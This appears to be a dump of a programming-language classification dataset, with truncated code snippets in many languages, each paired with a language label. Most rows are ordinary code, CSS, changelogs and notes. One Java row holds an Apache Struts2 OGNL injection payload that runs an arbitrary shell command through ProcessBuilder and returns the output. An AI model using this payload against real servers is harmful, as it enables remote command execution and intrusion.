content
stringlengths
2
6.21k
label
stringclasses
16 values
lCycles, lCount; lCycles = Get_system_register(AVR32_COMPARE); lCycles += (configCPU_CLOCK_HZ/configTICK_RATE_HZ); // If lCycles ends up to be 0, make it 1 so that the COMPARE and exception // generation feature does not get disabled. if(0 == lCycles) { lCycles++; } lCount = Get_system_register(AVR3...
C
= undefined && mapDef.texCoord != 0 && ! ( mapName === 'aoMap' && mapDef.texCoord == 1 ) ) { console.warn( 'THREE.GLTFLoader: Custom UV set ' + mapDef.texCoord + ' for texture ' + mapName + ' not yet supported.' ); } if ( parser.extensions[ EXTENSIONS.KHR_TEXTURE_TRANSFORM ] ) { var transform = mapDef...
JavaScript
local map = vim.keymap.set vim.g.mapleader = ' ' vim.g.maplocalleader = ' ' -- Save current file map("n", "<leader>w", ":w<cr>", { desc = "Save file", remap = true }) -- ESC pressing jk map("i", "jk", "<ESC>", { desc = "jk to esc", noremap = true }) -- Quit Neovim map("n", "<leader>q", ":q<cr>", { desc = "Quit Neovi...
Lua
"cuelang.org/go/internal/core/export" ) // TODO: // * allow '-' to strip outer curly braces? // - simplify output; can be used in combination with other flags // * advertise: // c like v, but print comments // a like c, but print attributes and package-local hidden fields as well // Format prin...
Go
d) === null || _b === void 0 ? void 0 : _b.name) != "JSXEndTag" && (name = elementName(state.doc, around.parent, head))) return { range: EditorSelection.cursor(head + 1), changes: { from: head, insert: `></${name}>` } }; } else if (text == "/" && around.name == "JSXFragmentTag")...
JavaScript
13 /* end block 9 */ // End Line: 14 /* begin block 10 */ // Start line: 14 /* end block 10 */ // End Line: 15 /* begin block 11 */ // Start line: 15 /* end block 11 */ // End Line: 16 /* begin block 12 */ // Start line: 16 /* end block 12 */ // End Line: 17 /* begin block 13 */ // Start line: ...
Assembly
]; } // Driver program int main() {     int N;     // for the rest of the array we will rely on the previous     // entries to compute new ones     for (N = 1; N <= 20; N++)         cout << "Maximum Number of A's with "<<N<<" keystrokes is "         << findoptimal(N) << endl; } //This is contributed by shubhamsingh1...
Markdown
cmdline_run_saved(conf); /* * Apply subsystem status. */ if (use_subsystem) conf_set_bool(conf, CONF_ssh_subsys, true); /* * Select protocol. This is farmed out into a table in a * separate file to enable an ssh-free variant. */ vt = backend_vt_from_proto(conf_get_...
C
_TO_K1(UART_PHYS) 1: lb t1, R_UART_LSR(t0) andi t1, t1, LSR_TXRDY beq t1, zero, 1b # OK, now send a character. sb a0, R_UART_DATA(t0) # And return. j ra END(board_uart_txchar) #endif /* ********************************************************************* * BOARD_SETLEDS(x) * * Set L...
Assembly
unc(packet *rtp.Packet) []byte { if h264.IsKeyframe(packet.Payload) { buf[0] = 1<<4 | 7 } else { buf[0] = 2<<4 | 7 } buf = append(buf[:5], packet.Payload...) // reset buffer to previous place if ts0 == 0 { ts0 = packet.Timestamp } timeMS := (packet.Timestamp - ts0) / k return Enco...
Go
{ const Replace_Atom * e = _replace_atom[i]; const Matched_Atom_in_Component & ma1 = e->a1(); int j = ma1.atom(); _matched_atom_changed[j]++; const Matched_Atom_in_Component & ma2 = e->a2(); j = ma2.atom(); _matched_atom_changed[j]++; } for (int i = 0; i < _wedge_bonds_to_place...
C++
api.nvim_buf_set_lines(test_buf, 0, -1, false, { "second send" }) vim.cmd("AiboSend") -- Check prompt buffer content local prompt_bufname = string.format("aiboprompt://%d", console_win) local prompt_buf = vim.fn.bufnr(prompt_bufname) if prompt_buf ~= -1 then local prompt_lines = vim.api.nvim_buf_get_lin...
Lua
pendabot)) #### Committers: 4 - Nguyen Hoang ([@nguyenalter](https://github.com/nguyenalter)) - Thi Nguyen ([@TeaNguyen](https://github.com/TeaNguyen)) - [@bobzomer](https://github.com/bobzomer) - harryphung ([@huyphung1602](https://github.com/huyphung1602)) ## v2.5.3 (2023-04-17) #### :running_woman: Performance * ...
Markdown
} } package com.marginallyclever.convenience.swing.graph; import com.marginallyclever.convenience.helpers.StringHelper; import javax.swing.*; import java.awt.*; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.util.ArrayList; import java.util.List; import java.util.Map; import java...
Java
I */ void drawPixmap(const QPixmap &pixmap, QPointF position, int size, QRectF sourceRect); private: /** * Draw a single arrow with the tip at position \p pos, directed from \p from, * of size \p radius. */ void drawArrow(const QPointF &pos, const QPointF &from, qreal radius); voi...
C
yRec>::Insert(key,r); } void AddUnsorted(KEY key) { WDL_Set_DummyRec r; WDL_AssocArrayImpl<KEY, WDL_Set_DummyRec>::AddUnsorted(key,r); } bool Get(KEY key) const { return WDL_AssocArrayImpl<KEY, WDL_Set_DummyRec>::Exists(key); } bool Enumerate(int i, KEY *key=NULL) { return WDL_AssocAr...
C
nsions", "lucene-inverted.msmarco-v1-doc-segmented.d2q-t5.20221004.252b5e.tar.gz", "https://github.com/castorini/pyserini/blob/master/pyserini/resources/index-metadata/lucene-inverted.msmarco-v1-doc-segmented.d2q-t5.20221004.252b5e.README.md", "MS MARCO V1 Documents", "BM25", new String[] ...
Java
myByte2: 2, " + "myShort1: 3, " + "myShort2: 4, " + "myInt1: 5, " + "myInteger2: 6, " + "myLong1: 7, " + "myLong2: 8, " + "myFloat1: 9.9, " + "myFloat2: 10.1, " + "myDouble1: 11.11, " + "myDouble2: 12.12, " + "myBoolean1: true, " + "myBoolean2: false, " + "myChar1: c, " + "myCharacter2: a, " + "myBigInteger: 13, " + "m...
Java
let isCommonHex = false; if (regexpBianry.test(num)) { curHex = 2; isCommonHex = true; // 长度减去标志位 res.length -= 2; } else if (regexpOctal.test(num)) { curHex = 8; isCommonHex = true; res.length -= 2; } else if (regexpHex.test(num)) { curHex =...
Typescript
PEG) if (!ffmpeg_command_exists()) throw std::runtime_error("Cannot find ffmpeg program to read audio content"); const bool expect_exact_num_samples = attrib().suffix=="wav"; { // read header for attributes string scmd = "ffmpeg -nostdin -i " + quote_arg_for...
C++
from SuffixTreeConstruction import tree_construction from typing import Dict, List, Tuple def find_longest_repeated_substring(text1: str, text2: str) -> List[str]: def dfs(tree_dictionary_: Dict[int, Dict[int, Tuple[int, int]]], text1_: str, text2_: str, current_node_: int, current_string_: str, strings: List...
Python
val tails = this.tails ?: object : IntervalList<RLDanmaku>(0, maxHeight) { override fun isAcquirable(interval: Interval, danmaku: RLDanmaku): Boolean { with(interval.value) { if (this == null) return true if (parent == null) { /...
Kotlin
function onTransitionEnd() { // congrats! a successful transition completed! // ensure transition end events and timeouts have been cleared self._clearAsync(); // ******** DOM WRITE **************** self._playEnd(); // transition finished self._didFinishAll(shouldComplete...
Typescript
-- | :-: | | biz | baz |`); }); }); /** * Created by rtholmes on 2016-06-19. */ import restify = require('restify'); import Log from "../Util"; import RouteHandler from './RouteHandler'; /** * This configures the REST endpoints for the server. */ export default class Server { private port: number; pri...
Typescript
--selectable { padding-right: 0; } .s003 form .inner-form .input-field.first-wrap .choices__list--dropdown .choices__item--selectable.is-highlighted { color: black; } .s003 form .inner-form .input-field.first-wrap .choices__list--dropdown .choices__item { color: #555; min-height: 24px; } .s003 form .inner-fo...
CSS
} i = nexti; } j = wall[neartagwall].overpicnum; if( j == SWITCH1ON ) { wall[neartagwall].overpicnum = GIFTBOX; wall[neartagwall].lotag...
C++
8888 7C CB 3A 14 */ add r6, r11, r7 /* 8033CC2C 0033888C 7C EC 2A 14 */ add r7, r12, r5 /* 8033CC30 00338890 7D 25 DA 78 */ xor r5, r9, r27 /* 8033CC34 00338894 7D 4A 3A 14 */ add r10, r10, r7 /* 8033CC38 00338898 38 84 00 14 */ addi r4, r4, 0x14 /* 8033CC3C 0033889C 7C A5 42 78 */ xor r5, r5, r8 /* 8033CC40 0033...
Assembly
0), child: Row( mainAxisAlignment: MainAxisAlignment.center, children: <Widget>[ Icon(appItem.icon), Padding( padding: const EdgeInsets.only(left: denseSpacing), ...
Dart
unsafe { self.user.deref_with_lifetime() }; // f(user) // } } impl<'a, Owner: 'a, U> Deref for SRS<Owner, U> where U: for<'b> DerefWithLifetime<'b>, { type Target = Owner; #[inline] fn deref(&self) -> &Self::Target { self.owner.deref() } } // technically default drop is safe ...
Rust
ck((kgrid.ky.T, kgrid.kx.T)) def print_grid_size(kgrid): """ update command line status Args: kgrid: Returns: """ k_Nx, k_Ny, k_Nz = kgrid.Nx, kgrid.Ny, kgrid.Nz if kgrid.dim == 1: logging.log(logging.INFO, f" computational grid size: {k_Nx} grid points") elif kg...
Python
lshrrev_b32 v[v_tmp], 2, v[v_co_sst] v_lshlrev_b32 v[v_tmp+1], 2, v[v_gemm_in] ; implicit transpose with m granularity:4 while store v_lshl_or_b32 v[v_co_sst], v[v_tmp], 10, v[v_tmp+1] v_lshlrev_b32 v[v_co_sst], 1, v[v_co_sst] v_lshlrev_b32 v[v_co_sld], 3, v[0] ; init_co_sub_m_index xdlops, block_...
Assembly
HAS_TEMP_SENSOR /** * Marlin 3D Printer Firmware * Copyright (c) 2020 MarlinFirmware [https://github.com/MarlinFirmware/Marlin] * * Based on Sprinter and grbl. * Copyright (c) 2011 Camiel Gubbels / Erik van der Zalm * * This program is free software: you can redistribute it and/or modify * it under the terms of...
C++
api_url = environment.API_URL; api_url_laravel = environment.API_URL_LARAVEL; api_url_images = environment.API_URL_IMAGES; private personnes: Personne[]; //On va consulter l'API loopback via le service HttpClient d'Angular constructor( private http: HttpClient, private tokenService: HttpXsrfToken...
Typescript
button = params.Get("button", 0); // This is necessary so accessing GetButton with button won't crash joystick->SetButton(button, false); return std::make_unique<SDLButton>(joystick, button); } private: SDLState& state; }; /// An analog device factory that creates analog devices from ...
C++
ner.PropertyChanged += this.Container_PropertyChanged; } /// <summary> /// Invoked when exit from the view. /// </summary> /// <param name="listView">The SfListView</param> protected override void OnDetachingFrom(SfListView listView) { base.OnDetachin...
C#
Transformer类似的功能。 - 在分子性质预测任务中验证了该方法的优越性,为量子化学计算提供了新工具。 3. 研究方法,具体采用的技术,工具,数据集 研究方法包括: - 技术:结合量子电路和Transformer的自注意力机制,使用变分量子电路(VQC)实现量子版本的注意力计算。 - 工具:基于Qiskit或PennyLane等量子计算框架进行模拟,可能使用了经典深度学习库(如PyTorch)进行混合训练。 - 数据集:可能使用了QM9、MD17等经典分子数据集,用于验证分子性质预测和能量计算的性能。 4. 实验结果,包括数据集,实验设置,实验结果,实验结论 - 数据集:QM9(分子性质预测)和M...
Markdown
, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x65, 0x6e, 0x64, 0x54, 0x69, 0x6d, 0x65, 0x4f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x42, 0x9b, 0x01, 0x0...
Go
indicates whether the log is finalized or not. func (r *ExecutionReportingPlugin) getExecutedSeqNrsInRange(ctx context.Context, min, max uint64) (map[uint64]bool, error) { stateChanges, err := r.offRampReader.GetExecutionStateChangesBetweenSeqNums( ctx, min, max, int(r.offchainConfig.DestOptimisticConfirmation...
Go
* 2. relative path: `<resource-type>/<resource-id>/_history/<version>` */ internal val Bundle.BundleEntryResponseComponent.resourceIdAndType: Pair<String, ResourceType>? get() = location ?.split("/") ?.takeIf { it.size > 3 } ?.let { it[it.size - 3] to ResourceType.fromCode(it[it.size - 4]) } ...
Kotlin
rs.getDouble("season_weeks"), rs.getDouble("next_season_weeks")); } ); return timeline; } // Ranking Highlights public RankingHighlights getRankingHighlights(int playerId) { var highlights = new RankingHighlights(); var params = params("playerId", playerId); jdbcTemplate.query(PLAYER_RANKING_QUERY,...
Java
IdeState import org.jetbrains.projector.util.loading.state.whenOccurred import java.lang.reflect.Method @Suppress("RedundantVisibilityModifier") // Accessed in projector-server, don't trigger linter that doesn't know it public object ProjectorClassLoaderSetup { internal var ideaClassLoaderInitialized = false pr...
Kotlin
LD, slot2.ACTIVITYINFO_DATA4_FIELD, slot2.ACTIVITYINFO_DATA1_LIST_FIELD, slot2.ACTIVITYINFO_DATA2_LIST_FIELD, slot2.ACTIVITYINFO_DATA3_LIST_FIELD, slot2.ACTIVITYINFO_DATE1_KEY_VALUE_LIST_FIELD, slot2.ACTIVITYINFO_GROUP_LIST_FIELD, slot2.ACTIVITYINFO_INS_MESSAGE_LIST_FIELD, slot2.ACTIVITYINFO_COLLECTION_LIST_FIE...
Lua
__GNUC_MINOR__, 0) #endif #if defined(JSON_HEDLEY_GNUC_VERSION_CHECK) #undef JSON_HEDLEY_GNUC_VERSION_CHECK #endif #if defined(JSON_HEDLEY_GNUC_VERSION) #define JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_GNUC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) #else #define JSO...
C++
ıllarda Romanya kökenli Amerikalı mühendis Dr. Joseph Juran, kendisi kalite kontrolün babası olarak nitelendirilir, [kalite kontrol sorunlarında Pareto Prensibini kullanmaya başladı](https://en.wikipedia.org/wiki/Joseph_M._Juran). Bu prensip aynı zamanda 80/20 Kuralı (The Law of the Vital Few and The Principle of Fact...
Markdown
時 if (isNotNullAndBlank(m_comboFailurePriorityInfo.getText())) { notifyJobInfo.setInfoJobFailurePriority(PriorityMessage.stringToEnum(m_comboFailurePriorityInfo.getText(), InfoJobFailurePriorityEnum.class)); } if (isNotNullAndBlank(m_comboFailurePriorityWarning.getText())) { notifyJobInfo.setWarnJobFailureP...
Java
check-wrap .wp-auth-fallback { font-size: 14px; line-height: 21px; padding: 0 25px; display: none; } #wp-auth-check-wrap.fallback .wp-auth-fallback, #wp-auth-check-wrap.fallback .wp-auth-check-close { display: block; } .wp-pointer-content { padding: 0 0 10px; position: relative; font-size: 13px; background: #...
CSS
([3d45caf9](https://github.com/antvis/g2plot/commit/3d45caf9cc19fb8d4fd6b5fa738306a549feeaa5)) ##### Refactors - **example:** 主题、状态量、标注等 demo 和截图走查 ([#1602](https://github.com/antvis/g2plot/pull/1602)) ([61b40b5f](https://github.com/antvis/g2plot/commit/61b40b5ffe132dd16f5a08f9207bffff5bd5a561)) - **ring:** 环图中心文本统一...
Markdown
turn program; } /** * Create a shader object * @param gl GL context * @param type VERTEX_SHADER or FRAGMENT_SHADER, the type of the shader object to be created * @param source shader program (string) * @return created shader object, or null if the creation has failed. */ export function loadShader(gl: WebGLRende...
Typescript
* m_sAy * m_sAy + m_invIB * m_sBy * m_sBy val impulse: Float impulse = if (k != 0.0f) { -C / k } else { 0.0f } val P = pool.popVec2() P.x = impulse * ay.x P.y = impulse * ay.y val LA = impulse * sAy val LB = impulse * sBy cA.x -= m_invMassA * P.x cA...
Kotlin
we # generate such as ik-to-fk converted rigs objects = list(bpy.context.scene.objects) for obj in objects: bpy.context.view_layer.objects.active = obj if obj.type == 'MESH': bpy.ops.import_export.mesh2json() if obj.type == 'ARMATURE': bpy.ops.rigging.iktofk() bpy.ops.import_export.armatu...
Rust
CodeMirror .CodeMirror-activeline span.cm-overlay.cm-rm-highlight.cm-rm-highlight-token, div.CodeMirror .CodeMirror-activeline span.cm-rm-highlight .cm-rm-highlight-token, .CodeMirror-activeline .cm-strikethrough.cm-rm-strike-token, .CodeMirror-activeline .cm-rm-ins.cm-rm-ins-token, .CodeMirror-activeline .cm-rm-sub.cm...
CSS
dx-calendar-selected-date) { -webkit-box-shadow: none; box-shadow: none; } .dx-calendar-cell.dx-state-active:not(.dx-calendar-empty-cell):not(.dx-calendar-selected-date) { -webkit-box-shadow: inset 0 -1px 0 1000px rgba(86,86,86,.2); box-shadow: inset 0 -1px 0 1000px rgba(86,86,86,.2); } .dx-calendar-cell.dx-cal...
CSS
tions{margin-top:24px;text-align:left}.ms-Dialog--multiline .ms-Dialog-title{font-size:28px}.ms-Dialog.ms-Dialog--lgHeader .ms-Dialog-title{background-color:#0078d7;color:#fff;font-size:28px;font-weight:100;padding:28px 24px;margin-top:-28px;margin-right:-24px;margin-left:-24px}.ms-Dialog-buttonClose{background:none;bo...
CSS
dow:0 0 0 .2rem rgba(69,130,236,.25)}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#b9d0f8}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;background-color:#e7effd;border-color:#e7effd}.custom-control-input:disabled~.custom-control-label,.custo...
CSS
: this($"CCI({period})", period, movingAverageType) { } /// <summary> /// Initializes a new instance of the CommodityChannelIndex class /// </summary> /// <param name="name">The name of this indicator</param> /// <param name="period">The period of the stan...
C#
t<T> constructor(private promise: Promise<T>) { this.futureStateObject = { state: FutureState.PENDING, suspender: this.promise.then( value => { this.futureStateObject = { state: FutureState.READY, value, } }, error => { thi...
Typescript
"""Adhocracy backend customization package.""" import os import version from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README.rst')).read() CHANGES = open(os.path.join(here, 'CHANGES.rst')).read() requires = ['adhocracy_core', ...
Python
-- items: 8720, 8732 function event_say(e) if(e.message:findi("hail")) then e.self:Say("Hail traveler. may I assist you with something. or are you just passing through?"); elseif(e.message:findi("passing through")) then e.self:Say("Very well friend. please take care when passing beyond the river to the east. Sev...
Lua
�个输出库所(该变迁有弧指向的库所)产生相应权重数量的令牌。变迁的发生是**原子性**的。 ### 34.2 特性分析 Petri 网理论提供了分析系统动态特性的形式化方法: - **可达性 (Reachability):** 从初始状态(初始令牌分布)出发,是否存在一个变迁发生序列能够到达某个目标状态?这是最基本但也最困难的问题(一般情况下复杂度很高,但对某些子类可判定)。 - **活性 (Liveness):** 衡量系统“卡死”程度的属性。不同级别的活性定义(如:一个变迁是否可能从某个可达状态最终发生?是否从任何可达状态都能最终发生?)。死锁 (Deadlock) 是活性的反面(系统中没有任何变迁可以发生)。 - **有...
Markdown
_modules); module_defs(context, modules); match build_ordering(context) { Err(cycle_node) => { let cycle_ident = cycle_node.node_id().clone(); report_cycle(context, cycle_ident) } Ok(ordered_ids) => { let ordering = ordered_ids .into_it...
Rust
to turn off all filters. /// </summary> public class NoFilters : NullFilter { public NoFilters() : base() { } } /// <summary> /// A dummy filter to uncheck any selections in the View/Filters menu /// </summary> public class UncheckAll : NullFilter { public UncheckAll() { m_name = FiltersStrings.k...
C#
{ font-size: 14px; line-height: 24px; margin-bottom: 24px; } /* Blog Grid */ .post-grid .entry, .post-masonry .entry, .project-v2 .entry { margin-bottom: 49px; } .post-grid .entry .featured-post, .item .featured-item { margin-bottom: 24px; } .post-grid .entry .content-post, .item .content-item { padding: 0...
CSS
t sql::PushdownFilterInfo &pd_filter_info, ObBitmap &result_bitmap) const; template <typename T> int extract_ref_and_null_count( const int32_t *row_ids, const int64_t row_cap, T ref_buf, int64_t &null_count) const; template <typename T> void load_ref_to_buf(T ref_buf, const int64...
C
, 0.85); cursor: not-allowed; } .tox .tox-selectfield select::-ms-expand { display: none; } .tox .tox-selectfield svg { pointer-events: none; position: absolute; top: 50%; transform: translateY(-50%); } .tox:not([dir="rtl"]) .tox-selectfield select[size="0"], .tox:not([dir="rtl"]) .tox-selectfie...
CSS
::UiState; use std::ops::Deref; use log::error; use crate::friends::{FriendData, FriendsApiClient}; mod api; mod clears; mod workers; mod settings; mod ui; mod translations; mod updates; mod input; mod friends; mod urls; const SETTINGS_FILENAME: &str = "addons/arcdps/settings_clears.json"; const TRANSLATION_FILENAME...
Rust
L; // tintStatusTracking m_tintStatus = 0; m_prevTintStatus = 0; #ifdef DIRTY_CONDITION_FLAGS m_isModelDirty = true; #endif m_hidden = false; m_hiddenByStealth = false; m_secondMaterialPassOpacity = 0.0f; m_drawableFullyObscuredByShroud = false; m_receivesDynamicLights = TRUE; // a good default... overrid...
C++
-table type: class-toggle - title: Auto Sized Dataview Tables id: dataview-table-auto type: class-toggle - title: Kanban Adjustments id: ITS-Plugins-Kanban type: heading level: 3 collapsed: true - title: Boxed Style id: ...
CSS
km-ios .km-detail.km-state-active{-webkit-box-shadow:inset 0 0 0 .16rem #fff,0 1px 3px rgba(0,0,0,.5),inset 0 0 0 1000px rgba(0,0,0,.2);box-shadow:inset 0 0 0 .16rem #fff,0 1px 3px rgba(0,0,0,.5),inset 0 0 0 1000px rgba(0,0,0,.2)}.km-ios .km-listview .km-switch{margin-top:-0.85rem}.km-ios4 .km-listview .km-switch{margi...
CSS
) x = self.weight_layer2(x) x = self.weight_layer3(x) if self.upsample is not None: identity = self.upsample(identity) elif self.down_scale is not None: identity = self.down_scale(identity) x = x + identity return x if __name__ == "__main__": ...
Python
onst QList<QAbstractState *> &statesToExit_sorted) const; QHash<QAbstractState *, QVector<QPropertyAssignment>> computePropertyAssignments(const QList<QAbstractState *> &statesToEnter_sorted, QHash<RestorableId, QVariant> &pendingRestorables) const; #endif State state; bool processing; bool p...
C
["𲄠"] = "身土", ["𲄡"] = "身口巴", ["𲄢"] = "身力", ["𲄣"] = "身木人人", ["𲄤"] = "身龶⺝", ["𲄥"] = "身八刀贝", ["𲄦"] = "身隹", ["𲄧"] = "身米女", ["𲄨"] = "身聿廴", ["𲄩"] = "身甫寸", ["𲄪"] = "身儿", ["𲄫"] = "身亽衣", ["𲄬"] = "身匕糸", ["𲄭"] = "身𠂇工⻍", ["𲄮"] = "身宀尸貝", ["𲄯"] = "身⺷丿戈...
Lua
/* * $Id: s_gqfasi.c,v 1.5 2008-07-23 17:24:21 haley Exp $ */ /************************************************************************ * * * Copyright (C) 2000 * * University Corporation fo...
C
TILE_4: ld1 {v2.16b, v3.16b}, [x12], #32 // weight ld1 {v4.16b, v5.16b}, [x11], x22 // src // int4->int8 ushr v8.16b, v2.16b, #4 ushr v9.16b, v3.16b, #4 and v10.16b, v2.16b, v30.16b and v11.16b, v3.16b, v30.16b subs x13, x13, #1 .inst 0x4e88a48c // smmla v12.4s, v4.16b, v8.16b //...
Assembly
start1 lower bound of the value's current range * @param {Number} stop1 upper bound of the value's current range * @param {Number} start2 lower bound of the value's target range * @param {Number} stop2 upper bound of the value's target range * @return {Number} remapped number * @example * <div><cod...
JavaScript
b->weighted) { // -w option if (addio->numberofpointattributes > 0) { // The first point attribute is its weight. w = newpt[3]; } else { // No given weight available. Default choose the maximum // absolute value among its coordinates. w = fabs(x); if...
C++
{ if (index + 1 >= value.length && !cube.lastPage) { cube.load(true); } return NoticeWidget( item: value[index], ); } }, ), ), ); }); } Widget _buildConnectionE...
Dart
Map::ArrayMap>{}); lua_pushliteral(L, "name"); lua_pushsstring(L, (camHandler->GetCurrentController()).GetName()); lua_rawset(L, -3); for (const auto& s: camState) { lua_pushsstring(L, s.first); lua_pushnumber(L, s.second); lua_rawset(L, -3); } return 1; } /*** * @function Spring.GetCameraPosition * ...
C++
round-size:55% 55%;width:2.2em;height:2.2em;margin:.5em;margin-top:-1.1em;position:absolute;top:50%;right:-0.5em}.x-field-clearable .x-clear-icon{display:block}.x-field-clearable .x-field-input{padding-right:2.2em}.x-android .x-input-el{-webkit-text-fill-color:#000}.x-android .x-empty .x-input-el{-webkit-text-fill-colo...
CSS
25, }, alt_min_vector = { -92.08216857910156, 255.13441467285156, -64.46546173095703, }, bottom_points = { { -95.47552490234375, 254.14590454101562, -64.16075134277344, }, { -88.63040924072266, 254.32888793945312, -64.61170196533203, }, { -88.68881225585938, ...
Lua
0x70, 0x61, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x10, 0x0a, 0x0e, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x42, 0xb3, 0x01, 0xba, 0x80, 0xc8, 0xd1, 0x0...
Go
--[[ animatedSprite.lua Copyright Dejaime Antonio de Oliveira Neto, 2014 Mikhail Bratus, 2016-2021 Released under the MIT license. Visit for more information: http://opensource.org/licenses/MIT ]] local ManagerVersion = 0.43 spriteBank = {} --Map with all the sprite definitions imageBank = {...
Lua
const1); lvx(VR23, off112, buf); addi(buf, buf, 8 * 16); bdz(L_first_cool_down); /* * main loop. We modulo schedule it such that it takes three iterations * to complete - first iteration load, second iteration vpmsum, third * iteration xor. */ { BIND(L_4); lvx(con...
C++
wn every minute */ if (HANDLER_GO_ON != mod_rrdtool_create_rrd(srv, p, s)) return HANDLER_ERROR; buffer_copy_string_len(p->cmd, CONST_STR_LEN("update ")); buffer_append_string_buffer(p->cmd, s->path_rrd); buffer_append_string_len(p->cmd, CONST_STR_LEN(" N:")); buffer_append_off_t(p->cmd, s->bytes_read); b...
C
ion( scriptId: _scriptId(node.location!.file), tokenPos: node.fileOffset, endTokenPos: node.fileEndOffset)); node.visitChildren(this); _scopes.last.variableIds.add(fieldSymbol.id); _moduleSymbols.variables.add(fieldSymbol); } @override void visitLibrary(Library nod...
Dart
rerId: 9, price: 92 }, { manufacturerId: 4, price: 32 }, { manufacturerId: 2, price: 65 }, { manufacturerId: 2, price: 82 }, { manufacturerId: 9, price: 77 }, { manufacturerId: 4, price: 70 } ]; export const expected: GroupedItems[] = [ [ { ...
Typescript
aliabury", "Herzogmouth", "Janiyahaven", "West Meda", "West Meda", ]; it("can sort rows by single column", () => { cy.visit("/index.html#/sort/willow"); cy.wait(100); cy.wxT("header").wxT("header-row", 0).find(".wx-cell").eq(1).click(); cy.wxT("header") .wxT("header-row", 0) .find(".wx-cell") ...
JavaScript
; ================================================================================================== ; INTERAC_KING_MOBLIN ; ================================================================================================== interactionCode95: ld e,$44 ld a,(de) rst_jumpTable .dw @state0 .dw @state1 @state0: ld a,...
Assembly
ception; CurException = CurException->ParentException) ++D; return D; } void print(raw_ostream &OS, unsigned Depth = 0) const; void dump() const; }; raw_ostream &operator<<(raw_ostream &OS, const WebAssemblyException &WE); class WebAssemblyExceptionInfo final : public MachineFunctionPass { // Mappi...
C
running. This test directly tests parts of the code without actually awaiting the task. """ from basic_memory.api.routers.management_router import WatchStatusResponse # Create a response object directly response = WatchStatusResponse(running=False) # We're just testing that the response model...
Python
�岩石鐮奪怪 咖啡灰", [20832] = "外域岩石鐮奪怪 咖啡紫", [20833] = "外域岩石鐮奪怪 灰咖啡", [20834] = "外域岩石鐮奪怪 灰白", [20835] = "外域岩石鐮奪怪 灰黃", [20836] = "外域岩石鐮奪怪 綠黃", [20837] = "外域岩石鐮奪怪 綠白", [20838] = "外域岩石鐮奪怪 綠粉紅", [20839] = "外域岩石鐮奪怪 紫紅", [20840] = "外域岩石鐮奪怪 紫白", [20841] = "外域岩石鐮奪怪 紫粉紅", [20842] = "外域岩石鐮奪怪 藍綠", [20843] = "外域岩石...
Lua
// new Map gives a LinkedHashMap, so we know the order. Expect.isTrue(map5.values.first == 43); Expect.isTrue(map5.values.last == 500); Expect.isTrue(map6.values is Iterable<int>); Expect.isFalse(map6.values is Iterable<bool>); Expect.isFalse(map6.values is List); Expect.equals(0, map6.values.length); } //...
Dart
d_name.to_string()); } let bound_type = match bound_type_text { "FR" => BoundType::Free, "MI" => BoundType::LowerMinusInfinity, "PL" => BoundType::UpperInfinity, "BV" => BoundType::Binary, "LO" | "UP" | "FX" | "LI" | "UI" => { let [value_text] = CR::four(rest...
Rust
source: string, target: string, } export type cweNetWorkType = { nodes : cweNodeType[] , links : cweLinkType[] }export class Vehiculo { patente: number marca: string modelo: string pathimagen: string disponible: boolean constructor(patente?:number,marca?:string,modelo?:st...
Typescript
, s2, v3 dpp8:[7,6,5,4,3,2,1,0] // GFX12: [0x05,0x00,0x2b,0xd6,0xe9,0x04,0x0c,0x04,0x01,0x77,0x39,0x05] v_min3_num_f16_e64_dpp v5, v1, 2.0, v3 dpp8:[7,6,5,4,3,2,1,0] // GFX12: [0x05,0x00,0x2b,0xd6,0xe9,0xe8,0x0d,0x04,0x01,0x77,0x39,0x05] v_min3_num_f16_e64_dpp v5, v1, v2, v255 dpp8:[7,6,5,4,3,2,1,0] // GFX12: [0x05,0...
Assembly
mary> B032 = 0b0010_0000, /// <summary> /// 40 bytes /// </summary> B040 = 0b0011_0000, /// <summary> /// 48 bytes /// </summary> B048 = 0b0100_0000, /// <summary> /// 64 bytes /// </summary> B064 = 0b0101_0000, ...
C#
if .defined(USE_VRC7) cmp #CHAN_VRC7 beq @EndHarmonic .endif .if .defined(USE_N163) cmp #CHAN_N163 beq @InvertedPeriod .endif .if .defined(USE_FDS) cmp #CHAN_FDS beq @InvertedPeriod .endif lda #$FF sta var_ch_PeriodCalcLo, x lda #$0F sta var_ch_PeriodCalcHi, x jmp @EndHarmonic @InvertedPeriod: lda #$00 sta...
Assembly
+ test3.getText() + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getRespo...
Java
// Copyright 2025 Google LLC // // This source code is licensed under the BSD-style license found in the // LICENSE file in the root directory of this source tree. #include "src/xnnpack/assembly.h" BEGIN_FUNCTION xnn_f32_gemm_minmax_ukernel_2x8__asm_aarch64_neonfma_ld32_2 # Free up GP registers. sub sp, ...
Assembly
=Already dead!}}{{Section2=**Powers**}}{{Paralysis=Their touch causes humans (including dwarves, gnomes, half-elves, and halflings, **but excluding elves**) to become rigid unless a saving throw versus paralyzation is successful. This paralysis lasts for 3-8 (2+1d6) rounds or until negated by a priest.}}{{Section4=**Sp...
JavaScript
